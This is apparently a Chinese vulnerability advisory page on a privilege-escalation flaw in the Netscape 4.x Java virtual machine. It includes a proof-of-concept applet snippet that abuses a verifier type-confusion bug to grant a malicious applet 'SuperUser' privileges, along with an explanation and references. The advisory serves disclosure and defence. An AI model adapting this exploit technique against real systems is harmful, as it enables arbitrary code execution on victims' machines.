Netscape Java虚拟机不安全调用漏洞

漏洞信息详情

Netscape Java虚拟机不安全调用漏洞

漏洞简介

Netscape Communicator/Navigator的JVM实现使用了Symantec Just In Time(JIT)编译器,Java虚拟机在共享动态实现,并默认被Netscape Browser使用。
Netscape 4浏览器Java虚拟机实现由于部分方法被调用的时候不安全,远程攻击者可以利用这个漏洞构建恶意Java Applet,在JVM环境中装载恶意类而可能以高权限执行任意代码。
构建如下applet代码运行在Netscape 4.x web浏览器中可以导致权限提升:
PrivilegeManager pm=PrivilegeManager.getPrivilegeManager();
VerifierBug bug=new VerifierBug();
MyPrivilegeManager mpm=bug.cast2MyPrivilegeManager(pm);
Target target=Target.findTarget(\”SuperUser\”);
Privilege priv=Privilege.findPrivilege(Privilege.ALLOWED,Privilege.FOREVER);
PrivilegeTable privtab=new PrivilegeTable();
privtab.put(target,priv);
Principal principal=PrivilegeManager.getMyPrincipals()[0];
mpm.itsPrinToPrivTable.put(principal,privtab);
try {
ClassLoader cl=getClass().getClassLoader();
Class c=cl.loadClass(\”Beyond\”);
c.newInstance();
} catch (Throwable e) {}
获得Privilege Manager object引用指针的值并保存在pm变量中,然后可利用Netscape JVM中的一个缺陷结合其他漏洞提升权限。
实际提升权限的攻击在如下代码中:
Principal principal=PrivilegeManager.getMyPrincipals()[0];
mpm.itsPrinToPrivTable.put(principal,privtab);
首先,从PrivilegeManager类的Principal列表中获取一个Principal的引用,然后修改mpm的成员变量itsPrinToPrivTable,以给用户applet类增加新的权限信息。成员变量itsPrinToPrivTable是一个hash表,它保存了类的Principals和权限列表之间的关联信息。这样的修改结果,使得一个用户applet类的Principal与系统权限表关联起来。显然,在缺省情况下,applet类的Principals有一个空的权限表,这里,将它们与系统权限表关联起来。

漏洞公告

厂商补丁:
Netscape
——–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.netscape.com” target=”_blank”>
http://www.netscape.com

参考网址

来源: XF
名称: netscape-java-insecure-classes(10714)
链接:http://xforce.iss.net/xforce/xfdb/10714

来源: BID
名称: 6223
链接:http://www.securityfocus.com/bid/6223

来源: www.lsd-pl.net
链接:http://www.lsd-pl.net/documents/javasecurity-1.0.0.pdf

来源: BUGTRAQ
名称: 20021121 [LSD] Java and JVM security vulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103798147613151&w=2

来源:NSFOCUS
名称:3884
链接:http://www.nsfocus.net/vulndb/3884

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享